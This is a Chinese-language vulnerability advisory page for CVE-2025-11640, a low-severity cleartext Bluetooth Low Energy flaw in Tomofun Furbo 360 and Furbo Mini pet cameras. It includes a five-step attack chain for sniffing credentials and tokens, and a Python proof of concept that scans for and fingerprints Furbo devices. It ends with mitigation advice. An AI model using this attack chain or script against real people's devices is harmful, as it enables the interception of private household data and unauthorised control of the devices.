IPBUF安全漏洞报告
English
CVE-2025-11640 CVSS 3.1 低危

CVE-2025-11640:Tomofun Furbo设备蓝牙低功耗明文传输漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11640
漏洞类型
明文传输敏感信息
CVSS评分
3.1 低危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo 360 和 Furbo Mini

相关标签

明文传输蓝牙低功耗BLE物联网安全IoTTomofunFurbo 360Furbo Mini智能摄像头信息泄露

漏洞概述

CVE-2025-11640是Tomofun公司旗下Furbo 360和Furbo Mini两款智能宠物摄像头产品中存在的一个安全漏洞。该漏洞存在于设备的蓝牙低功耗(Bluetooth Low Energy, BLE)组件中,属于敏感信息明文传输类漏洞。攻击者可通过利用该漏洞在本地网络范围内截获设备通过BLE传输的未加密敏感数据,可能导致用户隐私信息泄露。

根据CVSS 3.1评分体系,该漏洞的评分为3.1分,属于低危级别。攻击向量为邻接网络(AV:A),攻击复杂度高(AC:H),无需特权(PR:N),无需用户交互(UI:N)。该漏洞对机密性存在低程度影响(C:L),对完整性和可用性均无影响(I:N/A:N)。

该漏洞的影响范围包括Furbo 360固件版本至FB0035_FW_036,以及Furbo Mini固件版本至MC0020_FW_074。Tomofun作为供应商在漏洞披露前已被提前通知,但未作出任何回应,这增加了用户面临安全风险的可能性。Furbo系列产品作为智能家居设备,涉及家庭视频监控和宠物互动功能,敏感数据的明文传输可能导致用户家庭隐私信息被恶意截获。

技术细节

该漏洞的核心问题在于Tomofun Furbo 360和Furbo Mini设备的蓝牙低功耗(BLE)通信组件中,敏感信息以明文形式进行传输,未实施适当的加密保护机制。

从技术原理分析,蓝牙低功耗(BLE)是一种广泛应用于物联网设备的低功耗无线通信协议。在正常的安全实践中,BLE通信应使用AES-CCM加密算法对传输数据进行加密,确保数据在传输过程中的机密性和完整性。然而,受影响的Furbo设备在BLE通信过程中未启用或未正确配置加密功能,导致包括设备配对凭证、用户身份验证信息、设备控制指令等敏感数据以明文形式在无线信道上传输。

攻击者利用此漏洞需要满足以下条件:首先,攻击者必须处于设备的本地网络范围内(即能够接收到BLE信号的距离,通常为10-100米);其次,攻击者需要具备BLE协议分析能力,使用如Ubertooth、nRF Sniffer等蓝牙嗅探工具捕获空中传输的数据包;最后,由于攻击复杂度被评定为高(AC:H),攻击者还需要具备一定的逆向工程能力来解析捕获的明文数据。

成功利用该漏洞后,攻击者可获取设备传输的敏感信息,但由于仅影响机密性(C:L),无法直接修改传输数据或造成服务中断。漏洞的可利用性被报告为困难级别,需要较高的技术门槛。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在目标Furbo设备的BLE信号覆盖范围内(通常10-100米),并准备蓝牙嗅探工具如Ubertooth One、nRF Sniffer或支持BLE监听的硬件设备,同时安装相应的协议分析软件。
STEP 2
步骤2:目标发现
使用BLE扫描工具(如bleah、gatttool或自定义脚本)扫描周围广播的BLE设备,识别名称包含Furbo、FB0035或MC0020等模式的目标设备,获取其MAC地址和广播数据。
STEP 3
步骤3:被动嗅探
由于漏洞导致BLE通信未加密,攻击者被动监听目标设备与配对设备(如手机APP)之间的BLE通信流量,捕获所有明文传输的数据包。
STEP 4
步骤4:数据分析
对捕获的明文数据进行协议解析,提取其中包含的敏感信息,如设备凭证、用户认证令牌、控制指令等。由于数据未加密,可直接读取明文内容。
STEP 5
步骤5:信息利用
利用获取的敏感信息进行进一步攻击,如伪造设备身份、获取用户隐私数据或对设备进行未授权控制,实现对用户隐私的侵犯。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11640 - Furbo BLE Cleartext Transmission PoC # This PoC demonstrates sniffing BLE traffic from Furbo 360/Furbo Mini devices # Requirements: Ubertooth One or nRF Sniffer, bluepy/bleak library import asyncio from bleak import BleakScanner from datetime import datetime # Target device name patterns for Furbo devices TARGET_PATTERNS = ["Furbo", "FB0035", "MC0020"] class FurboBLESniffer: def __init__(self): self.captured_packets = [] self.target_devices = [] def detection_callback(self, device, advertisement_data): """Callback to process discovered BLE devices""" device_name = device.name or "" # Check if discovered device matches Furbo patterns for pattern in TARGET_PATTERNS: if pattern.lower() in device_name.lower(): print(f"[+] Found target device: {device_name} [{device.address}]") self.target_devices.append({ "name": device_name, "address": device.address, "rssi": advertisement_data.rssi, "manufacturer_data": advertisement_data.manufacturer_data }) # Capture raw advertisement data (transmitted in cleartext) self.captured_packets.append({ "timestamp": datetime.now().isoformat(), "device": device.address, "raw_data": advertisement_data, "service_uuids": advertisement_data.service_uuids }) async def scan_for_vulnerable_devices(self, timeout=30): """Scan for vulnerable Furbo devices transmitting cleartext data""" print(f"[*] Starting BLE scan (timeout: {timeout}s)...") print("[*] Looking for Furbo 360 (FB0035) and Furbo Mini (MC0020)") scanner = BleakScanner(detection_callback=self.detection_callback) await scanner.start() await asyncio.sleep(timeout) await scanner.stop() return self.target_devices def analyze_cleartext_data(self): """Analyze captured cleartext BLE transmissions""" print("\n[*] Analyzing captured cleartext data...") sensitive_patterns = [b"password", b"token", b"key", b"auth", b"session"] for pkt in self.captured_packets: print(f"\n[!] Cleartext data from {pkt['device']}:") print(f" Service UUIDs: {pkt['service_uuids']}") # In real exploitation, raw payload would be parsed here print(f" [!] WARNING: Data transmitted without encryption") async def main(): print("=" * 60) print("CVE-2025-11640 - Furbo BLE Cleartext Transmission PoC") print("Affected: Furbo 360 <= FB0035_FW_036") print("Affected: Furbo Mini <= MC0020_FW_074") print("=" * 60) sniffer = FurboBLESniffer() targets = await sniffer.scan_for_vulnerable_devices(timeout=30) if targets: print(f"\n[+] Found {len(targets)} vulnerable device(s)") sniffer.analyze_cleartext_data() else: print("\n[-] No vulnerable Furbo devices found in range") if __name__ == "__main__": asyncio.run(main())

影响范围

Tomofun Furbo 360 <= FB0035_FW_036
Tomofun Furbo Mini <= MC0020_FW_074

防御指南

临时缓解措施
由于Tomofun供应商在漏洞披露后未作出回应,用户应采取以下临时缓解措施:1)尽量减少Furbo设备的蓝牙使用频率,在不需要时关闭蓝牙功能;2)将设备放置在远离窗户和公共区域的位置,限制BLE信号的传播范围;3)定期检查设备固件更新,及时关注Tomofun官方发布的安全公告;4)考虑使用WiFi网络隔离措施,将IoT设备部署在独立的VLAN中;5)监控家庭网络中的异常蓝牙活动,及时发现可疑行为;6)如设备支持,考虑使用有线网络连接替代无线通信以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表